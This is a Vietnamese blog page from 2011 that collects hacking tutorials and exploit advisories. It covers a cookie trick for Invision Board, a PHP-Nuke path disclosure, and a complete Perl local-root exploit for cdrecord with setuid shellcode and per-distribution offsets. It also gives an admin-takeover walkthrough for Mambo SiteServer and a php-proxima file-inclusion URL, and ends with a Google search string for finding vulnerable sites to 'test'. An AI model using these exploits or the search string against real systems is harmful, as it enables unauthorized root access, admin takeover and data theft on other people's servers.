Thứ Hai, 14 tháng 3, 2011

Đánh lừa Invision Board


Đối với Yahoo ! Messanger chúng ta có thủ thuật online cùng một lúc cả hai nick
thì nay đối với Invision Board ta cũng có thể sử dụng một thủ thuật tương
tự như vậy.

Đối với Yahoo ! Messanger chúng ta có thủ thuật online cùng một lúc cả hai nick
thì nay đối với Invision Board ta cũng có thể sử dụng một thủ thuật tương
tự như vậy.

Ví dụ: bạn có một user name là Quan Vân Trường và một user name là Quan Vũ trên
forum nào đó thì với thủ thuật này bạn sẽ là cho cả hai user name đó cùng
hiển thị trên mục “Các thành viên đang Online”.

Để thực hiện thủ thuật này, bạn cần phải cho cả hai nick ấy có cùng
password., biết được ID của cả hai user name trên forum (cái này có thể biết
được qua phần “Thành viên thứ:***” trong Profile của bài viết). Và một tí
hiểu biết về cookie .
Bắt đầu thực hiện:
Giả sử khi bạn đăng nhập vào forum với user name là Quan Vân trường thì forum
sẽ tạo ra một cookie để lưu trử thông tin đăng nhập của bạn (cookie nằm
tại \Windows\Cookies\ - đối với Win 98 hoặc Documents and Settings\[username]\Cookies\ -
đối với Win XP).
Một cookie thường có dạng sau:

anonlogin
-1
vnhacker.org/
1536
3481636736
29633734
1131861200
29560300
*
member_id
12795
vnhacker.org/
1536
331586176
29634344
3381957936
29560909
*
pass_hash
e10adc3949ba59abbe56e057f20f883e
vnhacker.org/
1536
331586176
29634344
3384857936
29560909
*

Hãy chú ý những dòng được in đậm, member_id: là ID của user name Quan Vân
Trường, pass_hash: là password đã mã hoá MD5 của user name Quan Vân Trường (hé hé
cái password đã được mã hoá kia không phải là password thật của tớ đâu…
đừng có mơ nhé… dãy chử + số loằn ngoằn ấy chỉ đơn giản là các con số
123456 đã được mã hoá thôi… hé hé)

Và xem tiếp một đoạn nhỏ trong file Login.php của bộ IBF:

CODE

$mid = $std->my_getcookie('member_id');
$pid = $std->my_getcookie('pass_hash');

If ($mid and $pid)
{
$DB->query("SELECT * FROM ibf_members WHERE id=$mid AND password='$pid'");




Chính các đoạn mã này nhận nhiệm vụ kiểm tra password của ID nằm trong cookie
có giống với password của ID trên Database hay không rồi mới cho đăng nhập bằng
cookie. Ta sẽ lợi dụng điều này.
Nào bây giờ ta sẽ bắt đầu thực hiện thủ thuật:
1/ Sau khi login vào forum với username thứ nhất (ví dụ: Quan Vân Trường), bạn hãy
đóng tất cả các cửa sổ IE lại (chú ý: không được thoát ra khỏi forum - chỉ
đóng các cửa sổ IE lại thôi).
2/ Tìm cookie của forum (tên cookie thường là [username]@[tên forum], ví dụ: quan
vu@vnhacker.org) và mở nó ra.
3/ Tìm dòng member_id sửa số ID của username thứ nhất thành số ID của user name
thứ hai (ví dụ: ID của user name Quan Vân Trường là 12795, ID của username Quan Vũ
là 19762 thì tớ sẽ thay :
member_id
12795
Thành:
member_id
19762).
Còn dòng pass_hash thì giữ nguyên (nếu cả hai user name cùng chung password)
4/ Save cookie đó lại và vào lại forum.

Khi vào forum bạn sẽ rất bất ngờ đấy, cả hai user name Quan Vân Trường và Quan
Vũ đều nằm trong “Danh sách các thành viên đang online”.
Giải thích:
Khi bạn sửa chửa cookie lại và vào lại forum thì server ghi nhận user name thứ hai
như là một login mới, và do trước đó bạn chưa “Thoát” ra khỏi forum nên user
name thứ nhất của bạn vẫn được server ghi nhận là đang online do đó cả hai
user name đều nằm trong “Danh sách các thành viên đang online”
Khiếm khuyết:
Chỉ sử dụng được user name thứ hai thui… còn user name thứ nhất chỉ để đó
chứ không làm gì được cả…
Chú ý: cần phải chắc chắn cả hai user name đều phải cùng chung một password
thì mới có thể thực hiện thành công. Có thể dùng cho 3, 4 user name cũng được
chứ không chỉ hai…
 

PhpNuke - Path Disclosure

Lỗi Path Disclosure ở PHP-Nuke 6.x, và những version khác?
Khai thác:
+http://victim.x/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=[any_words]
+http://victim.x/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink
Nếu [any_words] có một giá trị không thuộc số hay là một giá trị NULL, thì nó sẽ đưa ra "path disclosure".


Patch
(đây là temporal patch, nhưng... vẫn tốt)
Trong hàm viewlink chèn thêm code sau:
if(!isset($cid) || $cid == NULL || $cid == "" || !is_numeric ($cid))
{
   echo "I don't like you >:|";
   exit();
}

Local root exploit cdrecord


Hi, here it is local root exploit cdrecord format string bug
Cdrecord come suid root by default on mandrake distro and it can be
executed by anybody.
[wsxz@localhost wsxz]$ ls -l /usr/bin/cdrecord
-rwsr-sr-x 1 root cdwriter 278156 Jan 6 07:2
/usr/bin/cdrecord*
here goes the code or get it on
http://k.domaindlx.com/clairsang/releases.priv8security.org/priv8cdr.pl
priv8cdr.pl
--------cut here------------------------------------------------------
#!/usr/bin/perl
###########################################################
#Priv8security.com Cdrecord version 2.0 and < local root exploit.
#
# Version 1.10 is NOT VULN!!!!
#
# [wsxz@localhost buffer]$ perl priv8cdr.pl 4
# Using target number 4
# Using Mr .dtors 0x808c82c
# Cdrecord 2.0 (i586-mandrake-linux-gnu) Copyright © 1995-2002
Jörg Schilling
# scsidev: '1À1Û°Í1ÛØ°.Íë^1ÀFF
# °
# óV
#
Í1ÛØ@ÍèÜÿÿÿ/bin/sh%.134802669x%x%x%x%x%x%x%x%x%n:'
# devname: '1À1Û°Í1ÛØ°.Íë^1ÀFF
# °
# óV
#
Í1ÛØ@ÍèÜÿÿÿ/bin/sh%.134802669x%x%x%x%x%x%x%x%x%n'
# scsibus: -1 target: -1 lun: -1
# Warning: Open by 'devname' is unintentional and not supported.
# /usr/bin/cdrecord: No such file or directory. Cannot open '.
Cannot open SCSI driver.
# /usr/bin/cdrecord: For possible targets try 'cdrecord -scanbus'.
Make sure you are root.
# /usr/bin/cdrecord: For possible transport specifiers try 'cdrecord
dev=help'.
# sh-2.05b# id
# uid=0(root) gid=0(root) groups=503(wsxz)
# sh-2.05b#
#####################################################
$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";
$cdrecordpath = "/usr/bin/cdrecord";
$nop = "\x90"; # x86 NOP
$offset = 0; # Default offset to try.

if (@ARGV == 1 || @ARGV == 2) {
$target = $ARGV[0];
$offset = $ARGV[1];
}else{
printf(" Priv8security.com Cdrecord local root
exploit!!\n");
printf(" usage: $0 target\n");
printf(" List of targets:\n");
printf(" 1 - Linux Mandrake 8.2 Cdrecord
1.11a15\n");
printf(" 2 - Linux Mandrake 9.0 Cdrecord
1.11a32\n");
printf(" 3 - Linux Slackware 8.1 Cdrecord
1.11a24 not suid by default!!!\n");
printf(" 4 - Linux Mandrake 9.1 Cdrecord
2.0\n");
exit(1);
}
if ( $target eq "1" ) {
$retword = 0x0807af38; #Mr .dtors ;)
$fmtstring = "%.134727238x%x%x%x%x%x%x%x%x%n:";
}
if ( $target eq "2" ) {
# $retword = 0x08084578; #.dtors
$retword = 0x08084684; #.GOT exit
$fmtstring = "%.134769064x%x%x%x%x%x%x%x%x%n:";
}
if ( $target eq "3" ) {
$retword = 0x0807f658;
$fmtstring = "%.134745456x%x%x%x%x%x%x%x%x%x%x%n:";
}
if ( $target eq "4" ) {
$retword = 0x0808c82c; #.GOT exit
$fmtstring = "%.134802669x%x%x%x%x%x%x%x%x%n:";
}
printf("Using target number %d\n", $target);
printf("Using Mr .dtors 0x%x\n",$retword);
$new_retword = pack('l', ($retword));
$new_retshell = pack('l', ($retshell));
$buffer2 = $new_retword;
$buffer2 .= $nop x 150;
$buffer2 .= $shellcode;
$buffer2 .= $fmtstring;
exec("$cdrecordpath dev='$buffer2'
'$cdrecordpath'");
--------cut here-----------------------------------------------

Đoạt quyền Admin ở Mambo SiteServer


PROGRAM: Mambo SiteServer
HOMEPAGE: http://k.domaindlx.com/clairsang/www.mamboserver.com/default.htm
TESTED: Mambo 4.0.12 RC2
LOGIN REQUIRED: No

PROOF OF CONCEPT
==============
http://k.domaindlx.com/clairsang/www.voidnull.com/exploit/mamboexp.phps

DESCRIPTION
==========
Một lỗi trong /administrator/index2.php cho phép bất kỳ user nào cũng có thể đoạt được quyền admin
Thực tế, bạn chỉ nghĩ logging như một user bình thường sẽ tạo sessionid này, tuy nhiên một bug trong mã nguồn PHP mà chắc chắn không làm cho điều này xảy ra.

Bất kỳ người nào hiểu sơ sơ về PHP cũng biết rằng khi bạn set một cookie, nó sẽ không cập nhật cho đến khi bạn refresh trang web. Bất kỳ người nào nhưng người làm mã cho Mambo SiteServer là:

setcookie("sessioncookie", "$sessionID");
if ($HTTP_COOKIE_VARS["sessioncookie"]!="") {
$query="INSERT into ".$dbprefix."session set
session_id='$cryptSessionID', guest='', userid='$uid',
usertype='$usertype', gid='$gid', username='$username'";
$database->openConnectionNoReturn($query);
}

Như chúng ta có thể thấy, Mambo SiteServer kiểm tra nếu cookie được set trước khi nó cài vào sessionid trong table. Như thế nó sẽ chưa được set, không có sessionid nào được cài vào và vì thế chúng ta không thể "login" vào ngay cả thư mục admin.

Chuyển đến đoạn mã nguồn trong SessionCookie.php (cái mà được gọi ra khi bạn logout), chúng ta có thể thấy rằng một sessionid được cài vào mỗi khi logout. Tại sao? Tôi không có ý kiến.

$current_time = time();
if ($HTTP_COOKIE_VARS["sessioncookie"]==""){
$randnum=getSessionID1();
...
$cryptrandnum=md5($randnum);
...
setcookie("sessioncookie", "$randnum");
$guest=1;
$query="INSERT into ".$dbprefix."session SET username='',
time=$current_time, session_id='$cryptrandnum', guest=$guest";
$database->openConnectionNoReturn($query);
}

Một cookie, trông giống như sau sẽ được send đến trình duyệt:

sessioncookie=nh54OQIZb8ybaA2CNNdU1046102063

Tất cả những gì chúng ta phải làm là MD5-encrypt nó.
0ebda5bbba49dc226b4ed8fc801f1d98

Bằng việc truy cập /administrator/index2.php với session này, Mambo SiteServer sẽ nghĩ rằng chúng ta là administrator log in vào:

/administrator/index2.php?session_id=0ebda5bbba49dc226b4ed8fc801f1d98

SUMMARY
=======
Đoạt được quyền admin cho phép bạn truy cập vào tất cả cơ sở dữ liệu của MySQL, user passwords, news, polls và tất cả mọi thứ mà server có được. Nhiều websites chạy Mambo SiteServer cộng với những scripts khác mà cần cho MySQL, và điều này là lời cảnh báo đến những webmasters.

SOLUTIONS
========
Cho đến khi Mambo cho ra patch tôi đề nghị bảo vệ mật khẩu thư mục /administrator với .htaccess.

VENDOR STATUS
===========
Đã thông báo cho nhà cung cấp. Họ đang làm cái patch cho lỗi này.         

Lỗi của php-proxima, Remote File Access


Thông tin:
Homepage : http://k.domaindlx.com/clairsang/www.php-proxima.com/default.htm
Vendor : informed
Mailed advisory: 14/05/03
Vender Response : None
Affected Versions: php-proxima 6.0 và những version trước đó

Lỗi:
php-proxima là một hệ thống portal được viết bằng php. php-proxima khác với những version của php-nuke và có những cái thay đổi
Một trong những cái thay đổi đó là php-proxima có chứa một file gọi là autohtml.php.
Bằng cách gửi một yêu cầu đặc biệt như bên dưới, attacker có thể include local file và đọc được chúng.
Lỗi này xuất hiện ở đây:
***************************
..

witch($op) {

   case "modload":
       if (!isset($mainfile)) { include("mainfile.php"); }
       $index = 0;
       include("header.php");
       OpenTable();
                                  include("autohtml/$name");

..
***************************
Một user có thể tránh include mainfile.php và chèn bất kỳ cái gì vào $name.

Ví dụ:
+http://victim/autohtml.php?op=modload&mainfile=x&name=<local filename>

Giải pháp:
Thay dòng
include("autohtml/$name");
bằng:
// include("autohtml/$name");
Kiểm tra patch mới.
Có thể vào google tìm cũng có nhiều cho các bạn test:allinurl: /autohtml.php?op=